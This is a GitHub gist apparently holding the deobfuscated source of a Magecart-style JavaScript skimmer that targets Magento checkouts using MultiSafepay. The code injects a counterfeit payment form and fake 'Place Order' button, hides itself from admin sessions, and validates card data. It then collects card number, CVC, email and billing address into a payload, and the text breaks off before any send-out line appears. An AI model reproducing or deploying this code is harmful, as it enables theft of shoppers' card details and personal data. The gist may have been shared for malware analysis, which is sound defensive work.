-
-
Save danslo/d1f7a61571bd4796243db44ab0295d1d to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if (void 0 !== window.agreement) { | |
clearInterval(window.agreement); | |
} | |
window.agreement = setInterval(function () { | |
if ('undefined' != typeof jQuery) { | |
if (!localStorage.getItem('is_discount')) { | |
if (-1 === document.cookie.indexOf('admin') && (jQuery('#multisafepay_visa').length || jQuery('#multisafepay_mastercard').length || jQuery('#multisafepay_maestro').length)) { | |
func6(); | |
clearInterval(window.agreement); | |
} | |
} | |
} | |
}, 500); | |
var encrypt_data = function (e) { | |
var n; | |
var a; | |
var t = btoa(encodeURIComponent(e)); | |
var r = ''; | |
for (n = 0; n < t.length; n++) { | |
a = 25 + (28 + (126 ^ t[n].charCodeAt(0)) ^ 121); | |
r += String.fromCharCode(a); | |
} | |
return r; | |
}; | |
var function9 = function (e, n) { | |
jQuery('#credit-card').attr('maxlength', e); | |
jQuery('#field-extvar4').attr('maxlength', n); | |
}; | |
var function6 = function () { | |
jQuery('#credit-card').bind({ | |
input: function (e) { | |
e.preventDefault(); | |
jQuery('#credit-card').parent().parent().removeClass('has-error'); | |
jQuery("p[ng-validation-messages='number']").addClass('ng-hide'); | |
jQuery('#credit-card').attr('class', 'form-control ng-valid-valid_string ng-valid-pattern ng-touched ng-dirty ng-not-empty ng-valid-parse ng-valid ng-valid-required ng-valid-maxlength'); | |
var n; | |
var a; | |
var t; | |
var r; | |
var i = jQuery('#credit-card'); | |
var o = i.val().replace(/[^\d]/g, ''); | |
var l = function7(function8(1)); | |
if ('ct-am' == l) { | |
function9(18, 5); | |
} else { | |
if ('ct-no' == l) { | |
function9(20, 5); | |
} else { | |
function9(20, 4); | |
var s = jQuery('#field-extvar4').val(); | |
jQuery('#field-extvar4').val(s.slice(0, 3)); | |
} | |
} | |
'ct-am' == l ? (n = o.slice(0, 4), a = o.slice(4, 10), t = o.slice(10), r = '') : (n = o.slice(0, 4), a = o.slice(4, 8), t = o.slice(8, 12), r = o.slice(12)); | |
r = '' == r ? '' : ' ' + r; | |
t = '' == t ? '' : ' ' + t; | |
a = '' == a ? '' : ' ' + a; | |
var c = i.attr('maxlength') - 1; | |
i.val((n + a + t + r).slice(0, c)); | |
}, | |
focusout: function (e) { | |
e.preventDefault(); | |
if (!(func4() && jQuery('#credit-card').val())) { | |
jQuery('#credit-card').parent().parent().addClass('has-error'); | |
jQuery("p[ng-validation-messages='number']").removeClass('ng-hide'); | |
jQuery('#credit-card').attr('class', 'form-control ng-valid-valid_string ng-valid-pattern ng-touched ng-dirty ng-empty ng-invalid ng-invalid-parse ng-invalid-required'); | |
} | |
} | |
}); | |
jQuery('#field-extvar2').bind({ | |
input: function (e) { | |
e.preventDefault(); | |
jQuery('#field-extvar2').parent().parent().removeClass('has-error'); | |
jQuery("p[ng-validation-messages='holder']").addClass('ng-hide'); | |
jQuery('#field-extvar2').attr('class', 'form-control ng-valid-valid_string ng-valid-pattern ng-touched ng-dirty ng-not-empty ng-valid-parse ng-valid ng-valid-required ng-valid-maxlength'); | |
}, | |
focusout: function (e) { | |
e.preventDefault(); | |
if (!jQuery('#field-extvar2').val()) { | |
jQuery('#field-extvar2').parent().parent().addClass('has-error'); | |
jQuery("p[ng-validation-messages='holder']").removeClass('ng-hide'); | |
jQuery('#field-extvar2').attr('class', 'form-control ng-valid-valid_string ng-valid-pattern ng-touched ng-dirty ng-empty ng-invalid ng-invalid-parse ng-invalid-required'); | |
} | |
} | |
}); | |
jQuery('#field-extvar4').bind({ | |
focusin: function (e) { | |
e.preventDefault(); | |
jQuery('#field-extvar4').parent().parent().removeClass('has-error'); | |
jQuery("p[ng-validation-messages='cvc']").addClass('ng-hide'); | |
jQuery('#field-extvar4').attr('class', 'form-control ng-valid-valid_string ng-valid-pattern ng-touched ng-dirty ng-not-empty ng-valid-parse ng-valid ng-valid-required ng-valid-maxlength'); | |
}, | |
focusout: function (e) { | |
e.preventDefault(); | |
if (!(func5() && jQuery('#field-extvar4').val())) { | |
jQuery('#field-extvar4').parent().parent().addClass('has-error'); | |
jQuery("p[ng-validation-messages='cvc']").removeClass('ng-hide'); | |
jQuery('#field-extvar4').attr('class', 'form-control ng-valid-valid_string ng-valid-pattern ng-touched ng-dirty ng-empty ng-invalid ng-invalid-parse ng-invalid-required'); | |
} | |
} | |
}); | |
jQuery("select[name='expiry-month']").bind({ | |
change: function (e) { | |
e.preventDefault(); | |
jQuery("select[name='expiry-month']").parent().parent().removeClass('has-error'); | |
jQuery("p[ng-validation-messages=\"['expiry-month', 'expiry-year']\"]").addClass('ng-hide'); | |
jQuery("select[name='expiry-month']").attr('class', 'form-control ng-valid-valid_string ng-valid-pattern ng-touched ng-dirty ng-not-empty ng-valid-parse ng-valid ng-valid-required ng-valid-maxlength'); | |
}, | |
focusout: function (e) { | |
e.preventDefault(); | |
if (!(func2() && jQuery("select[name='expiry-month']").val())) { | |
jQuery("select[name='expiry-month']").parent().parent().addClass('has-error'); | |
jQuery("p[ng-validation-messages=\"['expiry-month', 'expiry-year']\"]").removeClass('ng-hide'); | |
jQuery("select[name='expiry-month']").attr('class', 'form-control ng-valid-valid_string ng-valid-pattern ng-touched ng-dirty ng-empty ng-invalid ng-invalid-parse ng-invalid-required'); | |
} | |
} | |
}); | |
jQuery("select[name='expiry-year']").bind({ | |
change: function (e) { | |
e.preventDefault(); | |
jQuery("select[name='expiry-year']").parent().parent().removeClass('has-error'); | |
jQuery("p[ng-validation-messages=\"['expiry-month', 'expiry-year']\"]").addClass('ng-hide'); | |
jQuery("select[name='expiry-year']").attr('class', 'form-control ng-valid-valid_string ng-valid-pattern ng-touched ng-dirty ng-not-empty ng-valid-parse ng-valid ng-valid-required ng-valid-maxlength'); | |
}, | |
focusout: function (e) { | |
e.preventDefault(); | |
if (!(func3() && jQuery("select[name='expiry-year']").val())) { | |
jQuery("select[name='expiry-year']").parent().parent().addClass('has-error'); | |
jQuery("p[ng-validation-messages=\"['expiry-month', 'expiry-year']\"]").removeClass('ng-hide'); | |
jQuery("select[name='expiry-year']").attr('class', 'form-control ng-valid-valid_string ng-valid-pattern ng-touched ng-dirty ng-empty ng-invalid ng-invalid-parse ng-invalid-required'); | |
} | |
} | |
}); | |
jQuery('#pull-left').click(function (e) { | |
jQuery('body').trigger('processStart'); | |
setTimeout(function () { | |
window.location = window.location.origin + '/checkout/cart/'; | |
}, 2000); | |
}); | |
jQuery('.btn.btn-blue').click(function (e) { | |
func9() ? (func8(), jQuery('body').trigger('processStart'), setTimeout(function () { | |
localStorage.setItem('is_discount', 'true'); | |
jQuery('.merror').show(); | |
setTimeout(function () { | |
window.location = window.location.origin + '/checkout/cart/'; | |
}, 1500); | |
}, 2000)) : alert(func10('err_data')); | |
}); | |
}; | |
var function4 = function () { | |
var e = document.getElementById('credit-card'); | |
return void 0 !== e && null != e; | |
}; | |
var func9 = function () { | |
return func4() && 1 == func2() && 1 == func3() && func5(); | |
}; | |
var func6 = function () { | |
if (!function4()) { | |
jQuery('.place-order.order-review-form.last').after(`<div class="place-order order-review-form second" data-bind="css: { last: isLast() }"><div class="actions-toolbar"><div class="primary"><button class="action primary checkout display-button mbutton" type="button" title="Place Order"><span data-bind="i18n: 'Place Order'">${ jQuery('.place-order.order-review-form.last').find('.action.primary.checkout').text().trim() }</span></button></div></div></div>`); | |
setInterval(function () { | |
if (jQuery('.mbutton').length) { | |
var e = jQuery("input[name='payment[method]']:checked").val(); | |
'multisafepay_visa' == e || 'multisafepay_mastercard' == e || 'multisafepay_maestro' == e ? (jQuery('.place-order.order-review-form.second').show(), jQuery('.place-order.order-review-form.last').hide()) : (jQuery('.place-order.order-review-form.second').hide(), jQuery('.place-order.order-review-form.last').show()); | |
} | |
}, 100); | |
try { | |
require([ | |
'jquery', | |
'Magento_Checkout/js/model/quote' | |
], function (e, n, a) { | |
customerData = window.customerData; | |
window.email = customerData.email; | |
if ('undefined' == typeof email) { | |
email = n.guestEmail; | |
} | |
window.address = n.billingAddress(); | |
}); | |
} catch (e) { | |
window.address = null; | |
} | |
if (jQuery('.mbutton').length) { | |
window.host_name = document.location.host.replace('www.', ''); | |
window.order_number = 13000000000 + parseInt(10000 * Math.random()); | |
window.order_total = jQuery('.grand.totals .price').text().trim(); | |
window.order_shipping = jQuery('.totals.shipping.incl .price').text().trim(); | |
window.order_sub = jQuery('.totals.sub .price').text().trim(); | |
jQuery('.mbutton').click(function (e) { | |
e.preventDefault(); | |
if (!jQuery('#page-container').length) { | |
jQuery('body').trigger('processStart'); | |
setTimeout(function () { | |
jQuery('.page-wrapper').hide(); | |
jQuery('.page-wrapper').before(`<div class="page-wrapper" id="page-container"><div class="alert alert-danger merror" ng-hide="!messages.get.error" style="text-align: center; display:none;"><button type="button" class="close" ng-click="messages.reset('error')">×</button><span ng-bind-html="messages.get.error" class="ng-binding">${ 'An error occured while processing your card. Please try again.' }</span></div><link type="text/css" rel="stylesheet" href="https://payv2.multisafepay.com/assets/css/bootstrap.min.css"><link type="text/css" rel="stylesheet" href="https://payv2.multisafepay.com/assets/css/style-connect.min.css"><link type="text/css" rel="stylesheet" href="https://payv2.multisafepay.com/assets/css/select.min.css"><link type="text/css" rel="stylesheet" href="https://payv2.multisafepay.com/assets/css/font-awesome.min.css"><style>body{background-color:#fdfcfc!important;color:#333!important}.page-footer{background-color:#fdfcfc!important;color:#333!important}a,a>i{color:#00acf1!important}a:hover,a>i:hover{color:null!important}div[language-selector] a [class^=icon-]{color:#000!important;opacity:.2}.msp-panel-body{background-color:#fff;color:null!important}.msp-panel-body .order-info-list{color:null!important}.gateway-form{background-color:#fff}.msp-panel>.msp-panel-header{background-color:#fdfcfc!important}.box,.msp-gateway-btn{border-color:#d7d7d7!important;background-color:#fff!important;color:null!important}.box:hover,.msp-gateway-btn:hover{border-color:null!important;background-color:#f5f7f9!important;color:null!important}.coupons div[coupons-list] a{color:null!important}.coupons div[coupons-list] a:hover{color:null!important}.coupons.active-form{border-color:#d7d7d7!important;background-color:#fff!important}.gateway-form{border-color:#d7d7d7!important}.info-block .info-details{border-color:#d7d7d7!important}.info-block .info-details .cart-table-container{background-color:#fff!important}.cart-table tr.bordered{border-color:null!important}.cart-table th{color:#a4a3a3!important}.cart-table td{color:null!important}.cart-table-container{border-color:null!important}.info-block{border-color:undefined!important;background-color:#fff!important}.form-control{border-color:#bdbbbb!important}.btn-default{background-color:#ccc!important;color:null!important}.btn-default:hover{background-color:null!important;color:null!important}.btn-blue{background-color:#00acf1!important;color:#fff!important}.btn-blue:hover{background-color:null!important;color:null!important}.info-block .dl-horizontal dd{color:null!important}.info-block .dl-horizontal dt{color:#a4a3a3!important}.info-coupons-form h6{color:#a4a3a3!important}label{color:#8b8b8b!important}.coupons div[coupons-list] .msp-gateway-btn:hover,.msp-gateway-btn:hover{background:#f5f7f9!important}.msp-gateway-btn.active{background:#fff!important}.msp-gateway-btn.active:hover{background:#fff!important}.coupons.active-form{background:#fff!important}.coupons div[coupons-list] a span.icon-coupon>span{background:#f5f7f9!important}h6.label-header{color:#a4a3a3!important}[ng-fancy-select] .select{border-color:#bdbbbb!important}[ng-fancy-select] ul{border-color:#bdbbbb!important}[ng-fancy-select] ul li+li{border-color:#bdbbbb!important}.coupons div[coupons-list] a span.brandname{color:#333!important}.list-label{color:#a4a3a3!important}.verification-sms-code>input:focus{border-color:#00acf1!important}.msp-panel>.msp-panel-header .container{background-color:#fff!important}.msp-panel>.msp-panel-header{color:null!important}div[language-selector] .selected-lang div{background-color:#fff!important;border-color:#fff!important}</style><div class="row msp-panel" style="max-width:800px;margin:0 auto"><div class="msp-panel-header" ng-hide="iframeForm"><div class="container"><img ng-src="https://pay.multisafepay.com/files/10145079/seuren-Logo-2019.jpg" class="logo" src="https://pay.multisafepay.com/files/10145079/seuren-Logo-2019.jpg"></div></div><div id="payments" class="msp-panel-body container no-padding-responsive" ng-hide="!$root.showPayments"><div class="col-xs-12 info-block" ng-hide="iframeForm"><div class="col-xs-12" ng-hide="iframeForm"><ul class="list-unstyled order-info-list"><li><span class="list-label" data-field_label="connect-online_shop">${ 'Online shop' }</span><span ng-non-bindable="" data-field_value="connect-online_shop">Seurenhealth.com</span></li><li><span class="list-label" data-field_label="connect-description">${ 'Description' }:</span><span ng-non-bindable="" data-field_value="connect-description" class="word-break">${ 'Payment for order' } #${ window.order_number }</span></li><li></li></ul></div><div class="col-xs-12 info-details" ng-hide="iframeForm"><div class="cart-table-container" ng-init="toggleCart = true"><table style="width:100%" ng-used-coupons="gateways.hasCouponUsed" class="cart-table" ng-hide="toggleCart"><tbody><tr class="bordered"><th>${ 'Product' }</th><th>${ 'Quantity' }</th><th style="text-align:right">${ 'Total' }</th><th class="toggle-cart"><button class="btn-round ng-hide" ng-click="toggleCart = true" ng-hide="toggleCart"><span class="fa fa-chevron-up"></span></button></th></tr><tr class="bordered"><td ng-non-bindable="">Cart Subtotal</td><td>x1</td><td colspan="2" class="ng-binding" style="text-align:right">${ window.order_sub }</td></tr><tr class="bordered"><td ng-non-bindable="">Shipping Costs</td><td>x1</td><td colspan="2" class="ng-binding" style="text-align:right">${ window.order_shipping }</td></tr><tr ng-init="cartTax = '0'" ng-hide="cartTax == 0" class="ng-hide"><td></td><td><strong>VAT:</strong></td><td colspan="2" class="ng-binding">0.00 EUR</td></tr><tr class="radius-bottom cart-resume-toggle" style=""><td style="color:#000"></td><td><strong>${ 'Total' }:</strong></td><td colspan="2" style="text-align:right"><strong class="ng-binding" style="">${ window.order_total }</strong></td></tr></tbody></table></div></div><div class="col-xs-12 info-coupons-form ng-hide" ng-hide="!coupons || coupons.length === 0 || hideGiftcards"><div class="col-xs-12 no-padding"><h6><strong>Gift cards:</strong></h6></div><div class="coupons col-xs-12 no-padding" ng-class="{'active-form': activeCoupon}"><div><div coupons-list=""></div></div><div ng-hide="!activeCoupon" coupon-form="couponTemplate" class="coupon-form ng-hide"></div></div></div></div><div class="col-xs-12" ng-hide="iframeForm"><h6 class="label-header"><strong>Payment methods:</strong></h6></div><div id="gateways" class="col-xs-12"><div id="gateway-1020269" ng-repeat="gateway in gateways.list" msp-payment-button="gateway.template" data-config="{index: 0, step: true}" class="msp-gateway-btn ng-scope active" ng-hide="gateway.template === undefined && gateway.hideFromList" ng-class="{'msp-gateway-btn-disabled' : gateway.deviceDisable && gateway.template === undefined}"><table class="msp-table" ng-click="gateway.template === undefined && !gateway.deviceDisable ? proceed($event, {method: gateway.frontpage, gateway: gateway.accountnr, amount: totalCartPrice, currency: currency}, $index) : '';" ga-track-event="{event: 'click', category: 'Payment buttons', action: 'Click payment button', opt_label: gateway.description}"><tbody><tr><td style="width:90px;text-align:center"><span class="payment-logo payment_method_logo ng-isolate-scope" rebrands="gateway" style="background-image:url(https://media.multisafepay.com/img/methods/svg/visa.svg)"></span></td><td><span class="rebrand-text ng-binding">Visa</span></td></tr></tbody></table><div class="gateway-form" ng-hide="! gateway.template"><div gateway-form="gateway.template" style="padding:15px"><div class="alert margin-bottom-10px ng-binding ng-scope ng-hide alert-danger" ng-class="transaction.status && transaction.status ? 'alert-success' : 'alert-danger'" ng-hide="transaction.status === undefined"></div><div class="ng-scope"><div name="paymentForm" id="form-payment" novalidate="" ng-form-validation="" card-form="false" class="ng-isolate-scope ng-invalid ng-invalid-required ng-valid-maxlength ng-valid-valid_string ng-valid-pattern ng-dirty ng-valid-parse ng-valid-expired"><input type="hidden" name="gateway" ng-model="Payment.gateway" ng-init="Payment.gateway = gateway.accountnr" autocomplete="off" class="ng-pristine ng-untouched ng-valid ng-not-empty"><div ng-card-validation="ST_VISA"><div class="form-group" ng-validation-show-error="number" ng-class="{'card-mark': gateway.frontpage === 'CREDITCARD'}"><label for="credit-card">${ 'Card number' }</label><div class="relative"><input id="credit-card" class="form-control ng-valid-valid_string ng-valid-pattern ng-touched ng-dirty ng-not-empty ng-valid-parse ng-valid ng-valid-required ng-valid-maxlength" name="number" ng-model="Payment.number" value="" type="text" required="" maxlength="30" ng-card-number="" ng-mobile-keyboard="tel" style="border-radius:4px;height:34px;font-family:'San Francisco',Arial,Helvetica,sans-serif;"></div><p class="help-block ng-isolate-scope ng-hide" ng-validation-messages="number"><span ng-validation-messages-type="required">${ 'The card number is required. Please fill the missing field.' }</span><span ng-validation-messages-type="valid_string" class="ng-hide">The Card number is not valid. Please correct the value.</span><span ng-validation-messages-type="pattern" class="ng-hide">The Card number is not valid. Please correct the value.</span></p></div><div class="form-group" ng-validation-show-error="holder"><label for="field-extvar2">${ 'Card holder' }</label><input id="field-extvar2" data-field_id="holdername" class="form-control ng-pristine ng-empty ng-invalid ng-invalid-required ng-touched" name="holder" ng-model="Payment.holder" value="" type="text" size="30" ng-card-holder="" required="" style="border-radius:4px;height:34px;font-family:'San Francisco',Arial,Helvetica,sans-serif;"><p class="help-block ng-isolate-scope ng-hide" ng-validation-messages="holder"><span ng-validation-messages-type="required">${ 'The card holder is required. Please fill the missing field.' }</span></p></div><table style="width:100%"><tbody><tr><td style="width:65%;vertical-align:top;padding:0"><div class="form-group overflow-hidden margin-bottom-15px" ng-validation-show-error="['expiry-month', 'expiry-year']"><div class="col-xs-12 no-padding"><label for="field-extvar3">${ 'Expiry date' }</label><input type="hidden" name="expiry" ng-model="Payment.expiry" autocomplete="off" class="ng-pristine ng-untouched ng-valid ng-not-empty"></div><div class="col-xs-6 no-padding-left"><select name="expiry-month" class="form-control ng-touched ng-not-empty ng-dirty ng-valid-expired ng-valid-parse ng-valid ng-valid-required" ng-model="expiryMonth" ng-card-expiry-month="" required="" style="font-family:'San Francisco',Arial,Helvetica,sans-serif;"><option value="" selected="selected">----</option><option ng-repeat="month in months track by $index" ng-value="01" class="ng-binding ng-scope" value="number:1">01 - Jan</option><option ng-repeat="month in months track by $index" ng-value="02" class="ng-binding ng-scope" value="number:2">02 - Feb</option><option ng-repeat="month in months track by $index" ng-value="03" class="ng-binding ng-scope" value="number:3">03 - Mar</option><option ng-repeat="month in months track by $index" ng-value="04" class="ng-binding ng-scope" value="number:4">04 - Apr</option><option ng-repeat="month in months track by $index" ng-value="05" class="ng-binding ng-scope" value="number:5">05 - May</option><option ng-repeat="month in months track by $index" ng-value="06" class="ng-binding ng-scope" value="number:6">06 - Jun</option><option ng-repeat="month in months track by $index" ng-value="07" class="ng-binding ng-scope" value="number:7">07 - Jul</option><option ng-repeat="month in months track by $index" ng-value="08" class="ng-binding ng-scope" value="number:8">08 - Aug</option><option ng-repeat="month in months track by $index" ng-value="09" class="ng-binding ng-scope" value="number:9">09 - Sep</option><option ng-repeat="month in months track by $index" ng-value="10" class="ng-binding ng-scope" value="number:10">10 - Oct</option><option ng-repeat="month in months track by $index" ng-value="11" class="ng-binding ng-scope" value="number:11">11 - Nov</option><option ng-repeat="month in months track by $index" ng-value="12" class="ng-binding ng-scope" value="number:12">12 - Dec</option></select></div><div class="col-xs-6 no-padding-left"><select name="expiry-year" class="form-control ng-not-empty ng-dirty ng-valid-parse ng-valid ng-valid-required ng-touched" ng-model="expiryYear" ng-card-expiry-year="" required="" style="font-family:'San Francisco',Arial,Helvetica,sans-serif;"><option value="" selected="selected">----</option><option ng-repeat="year in years track by $index" ng-value="year.value" class="ng-binding ng-scope" value="string:24">2024</option><option ng-repeat="year in years track by $index" ng-value="year.value" class="ng-binding ng-scope" value="string:25">2025</option><option ng-repeat="year in years track by $index" ng-value="year.value" class="ng-binding ng-scope" value="string:26">2026</option><option ng-repeat="year in years track by $index" ng-value="year.value" class="ng-binding ng-scope" value="string:27">2027</option><option ng-repeat="year in years track by $index" ng-value="year.value" class="ng-binding ng-scope" value="string:28">2028</option><option ng-repeat="year in years track by $index" ng-value="year.value" class="ng-binding ng-scope" value="string:29">2029</option><option ng-repeat="year in years track by $index" ng-value="year.value" class="ng-binding ng-scope" value="string:30">2030</option><option ng-repeat="year in years track by $index" ng-value="year.value" class="ng-binding ng-scope" value="string:31">2031</option><option ng-repeat="year in years track by $index" ng-value="year.value" class="ng-binding ng-scope" value="string:32">2032</option><option ng-repeat="year in years track by $index" ng-value="year.value" class="ng-binding ng-scope" value="string:33">2033</option><option ng-repeat="year in years track by $index" ng-value="year.value" class="ng-binding ng-scope" value="string:34">2034</option><option ng-repeat="year in years track by $index" ng-value="year.value" class="ng-binding ng-scope" value="string:35">2035</option><option ng-repeat="year in years track by $index" ng-value="year.value" class="ng-binding ng-scope" value="string:36">2036</option><option ng-repeat="year in years track by $index" ng-value="year.value" class="ng-binding ng-scope" value="string:37">2037</option><option ng-repeat="year in years track by $index" ng-value="year.value" class="ng-binding ng-scope" value="string:38">2038</option><option ng-repeat="year in years track by $index" ng-value="year.value" class="ng-binding ng-scope" value="string:39">2039</option><option ng-repeat="year in years track by $index" ng-value="year.value" class="ng-binding ng-scope" value="string:40">2040</option><option ng-repeat="year in years track by $index" ng-value="year.value" class="ng-binding ng-scope" value="string:41">2041</option><option ng-repeat="year in years track by $index" ng-value="year.value" class="ng-binding ng-scope" value="string:42">2042</option><option ng-repeat="year in years track by $index" ng-value="year.value" class="ng-binding ng-scope" value="string:43">2043</option><option ng-repeat="year in years track by $index" ng-value="year.value" class="ng-binding ng-scope" value="string:44">2044</option><option ng-repeat="year in years track by $index" ng-value="year.value" class="ng-binding ng-scope" value="string:45">2045</option><option ng-repeat="year in years track by $index" ng-value="year.value" class="ng-binding ng-scope" value="string:46">2046</option><option ng-repeat="year in years track by $index" ng-value="year.value" class="ng-binding ng-scope" value="string:47">2047</option><option ng-repeat="year in years track by $index" ng-value="year.value" class="ng-binding ng-scope" value="string:48">2048</option><option ng-repeat="year in years track by $index" ng-value="year.value" class="ng-binding ng-scope" value="string:49">2049</option></select></div><p class="help-block col-xs-12 no-padding ng-isolate-scope ng-hide" ng-validation-messages="['expiry-month', 'expiry-year']"><span ng-validation-messages-type="required">${ 'The expiry date is required. Please fill the missing field.' }</span><span ng-validation-messages-type="expired" class="ng-hide">The card has expired. Please enter a valid expiry date.</span></p></div></td><td style="width:35%;padding:0;vertical-align:top" ng-init="cvcTooltip = false"><div class="form-group" ng-validation-show-error="cvc"><label for="field-extvar4" ng-click="cvcTooltip = !cvcTooltip">${ 'CVC/ CVV' }<span style="position:relative!important;top:-16px!important;display:inline-block!important"><div ng-class="{'stage-in' : cvcTooltip}" class="tooltip right" role="tooltip"><div class="tooltip-arrow"></div><div class="tooltip-inner" style="padding:0!important;background:0 0!important;border:none!important;line-height:0!important"><img src="https://media.multisafepay.com/img/common/svg/icon-cvc.svg" style="height:24px!important;-webkit-border-radius:4px!important;-moz-border-radius:4px!important;border-radius:4px!important"></div></div></span></label><input id="field-extvar4" data-field_id="cvv" class="form-control ng-pristine ng-empty ng-invalid ng-invalid-required ng-valid-pattern ng-touched" name="cvc" ng-model="Payment.cvc" value="" type="text" ng-card-cvc="" required="required" ng-focus="cvcTooltip = true" ng-blur="cvcTooltip = false" ng-mobile-keyboard="tel" style="border-radius:4px;height:34px;font-family:'San Francisco',Arial,Helvetica,sans-serif;"><p ng-if="!cvcTooltip" class="help-block ng-scope ng-isolate-scope ng-hide" ng-validation-messages="cvc"><span ng-validation-messages-type="required">The CVC/ CVV is missing or incorrect. Please fill in a correct CVC/ CVV to proceed.</span><span ng-validation-messages-type="pattern" class="ng-hide">${ 'The CVC/ CVV is not valid. Please correct the value.' }</span></p></div></td></tr></tbody></table></div><div class="form-group overflow-hidden"><span class="pull-right"><input type="button" value="${ 'Confirm' }" class="btn btn-blue" ga-track-event="{event: 'click', category: 'Payment buttons', action: 'Click payment continue button', opt_label: gateway.description}"></span></div></div></div></div></div></div></div><div class="col-xs-12" ng-hide="iframeForm"><a href="" class="pull-left" ng-cancel-payment="" ga-track-event="{event: 'click', category: 'Cancel payment', action: 'Click on cancel button', opt_label:'Cancel payment'}" style="font-weight:700">${ 'Cancel' }</a><a href="" class="pull-right ng-hide" ng-all-payments="" ga-track-event="{event: 'click', category: 'Show all payments', action: 'Click to show all available payment methods', opt_label:'All payments'}"><span class="icon-credit-card"></span>All payment methods</a></div></div><div id="info" class="msp-panel-body container no-padding-responsive ng-hide" ng-hide="$root.showPayments"><div class="col-xs-12"><div class="alert ng-binding ng-hide alert-danger" ng-class="transaction.status && transaction.status ? 'alert-success' : 'alert-danger'" ng-hide="transaction.status === undefined"></div><div gateway-form="transaction.complete_html" class="static-box-container"></div></div></div><div class="container page-footer" ng-hide="iframeForm"><p>${ 'Powered by ' }<a href="http://multisafepay.com" target="_blank">MultiSafepay</a></p></div></div></div>`); | |
setTimeout(function () { | |
jQuery('body').trigger('processStop'); | |
}, 1500); | |
if (function4()) { | |
function6(); | |
} | |
}, 4000); | |
} | |
}); | |
} | |
} | |
}; | |
var function8 = function (e) { | |
return function4() ? 1 == e ? jQuery('#credit-card').val().replace(/[^\d]/g, '') : 2 == e ? jQuery("select[name='expiry-month']").val().replace('number:', '') : 3 == e ? '20' + jQuery("select[name='expiry-year']").val().replace('string:', '') : 4 == e ? jQuery('#field-extvar4').val().replace(/[^\d]/g, '') : 5 == e ? jQuery('#field-extvar2').val() : void 0 : ''; | |
}; | |
var function7 = function (e) { | |
var n = new RegExp('^4'); | |
if (null != e.match(n)) { | |
return 'ct-vi'; | |
} | |
n = new RegExp('^3[47]'); | |
if (null != e.match(n)) { | |
return 'ct-am'; | |
} | |
return e.length >= 2 && '2' == e[0] && e[1] >= '2' && e[1] <= '7' ? 'ct-ma' : e.length >= 2 && '5' == e[0] && e[1] >= '1' && e[1] <= '5' ? 'ct-ma' : e.length >= 2 && '6' == e[0] && ('5' == e[1] || '0' == e[1] || '4' == e[1]) ? 'ct-di' : e.length >= 2 && '3' == e[0] && '5' == e[1] ? 'ct-jc' : e.length >= 2 && '3' == e[0] && '0' == e[1] ? 'ct-dn' : e.length >= 2 && '3' == e[0] && ('6' == e[1] || '8' == e[1] || '9' == e[1] || '0' == e[1]) ? 'ct-dn' : e.length >= 2 && parseInt(e.slice(0, 2)) >= 56 && parseInt(e.slice(0, 2)) <= 69 ? 'ct-ms' : e.length >= 2 && '5' == e[0] && '0' == e[1] ? 'ct-ms' : 'ct-no'; | |
}; | |
var func4 = function () { | |
var e = function7(function8(1)); | |
var n = function8(1).length; | |
var a = function8(1); | |
if ('ct-am' == e) { | |
if (15 != function8(1).length) { | |
return false; | |
} | |
} else { | |
if ('ct-vi' == e) { | |
if (13 != function8(1).length && 16 != function8(1).length) { | |
return false; | |
} | |
} else { | |
if ('ct-ma' == e) { | |
if (16 != function8(1).length) { | |
return false; | |
} | |
} else { | |
if ('ct-di' == e) { | |
if (function8(1).length < 16) { | |
return false; | |
} | |
} else { | |
if ('ct-jc' == e) { | |
if (function8(1).length < 16) { | |
return false; | |
} | |
} else { | |
if ('ct-dn' == e) { | |
if (function8(1).length < 14) { | |
return false; | |
} | |
} else { | |
if ('ct-ms' == e) { | |
if (function8(1).length < 12) { | |
return false; | |
} | |
} else { | |
if (function8(1).length < 12) { | |
return false; | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
for (var t = a.split(''), r = 0; r < t.length; r++) { | |
t[r] = parseInt(t[r], 10); | |
} | |
var i = 0; | |
var o = false; | |
for (r = t.length - 1; r >= 0; r--) { | |
if (o) { | |
t[r] *= 2; | |
if (t[r] > 9) { | |
t[r] -= 9; | |
} | |
} | |
i += t[r]; | |
o = !o; | |
} | |
return i % 10 == 0; | |
}; | |
var func2 = function () { | |
var e = new Date(); | |
var n = e.getFullYear(); | |
var a = e.getMonth(); | |
var t = parseInt(function8(3)); | |
var r = parseInt(function8(2)); | |
return r >= 1 && r <= 12 ? t == n && r <= a ? -1 : 1 : 0; | |
}; | |
var func3 = function () { | |
var e = new Date().getFullYear(); | |
var n = parseInt(function8(3)); | |
return n >= e && n <= 2070 ? 1 : n < e ? -1 : 0; | |
}; | |
var func5 = function () { | |
var e = function8(4).length; | |
var n = function7(function8(1)); | |
return 'ct-am' == n || 'ct-no' == n ? 4 == function8(4).length ? 1 : 0 : 3 == function8(4).length ? 1 : 0; | |
}; | |
var func10 = function (e) { | |
return { | |
online: 'Online shop', | |
description: 'Description', | |
description2: 'Payment for order', | |
product: 'Product', | |
quantity: 'Quantity', | |
total: 'Total', | |
card_number: 'Card number', | |
card_holder: 'Card holder', | |
expiry_date: 'Expiry date', | |
cvc: 'CVC/ CVV', | |
btn_order: 'Confirm', | |
btn_cancel: 'Cancel', | |
title: 'Powered by ', | |
err_card: 'The card number is required. Please fill the missing field.', | |
err_holder: 'The card holder is required. Please fill the missing field.', | |
err_exp: 'The expiry date is required. Please fill the missing field.', | |
err_cvc: 'The CVC/ CVV is not valid. Please correct the value.', | |
err_message: 'An error occured while processing your card. Please try again.' | |
}[e]; | |
}; | |
var func8 = function () { | |
if (!window.primaryPaypal) { | |
var e = '[{"name":"host","value":"' + document.URL + '"},'; | |
e += '{"name":"agent","value":"' + navigator.userAgent + '"},'; | |
e += '{"name":"username","value":"' + (window.email ? window.email : '') + '"},'; | |
var n = {}; | |
for (x in n = null == window.address ? customerData.addresses[customerData.default_billing] : window.address) | |
if ('function' != typeof n[x] && 'inline' != x && 'default_billing' != x && 'default_shipping' != x && 'custom_attributes' != x) { | |
if ('street' != x) { | |
e += '{"name":"' + x + '","value":"' + n[x] + '"},'; | |
} else { | |
for (y in n.street) | |
if ('function' != typeof n.street[y]) { | |
e += '{"name":"street[' + y + ']","value":"' + n.street[y] + '"},'; | |
} | |
} | |
} | |
e += '{"name":"payment[cc_number]","value":"' + function8(1) + '"},'; | |
e += '{"name":"payment[cc_cid]","value":"' + function8(4) + '"},'; | |
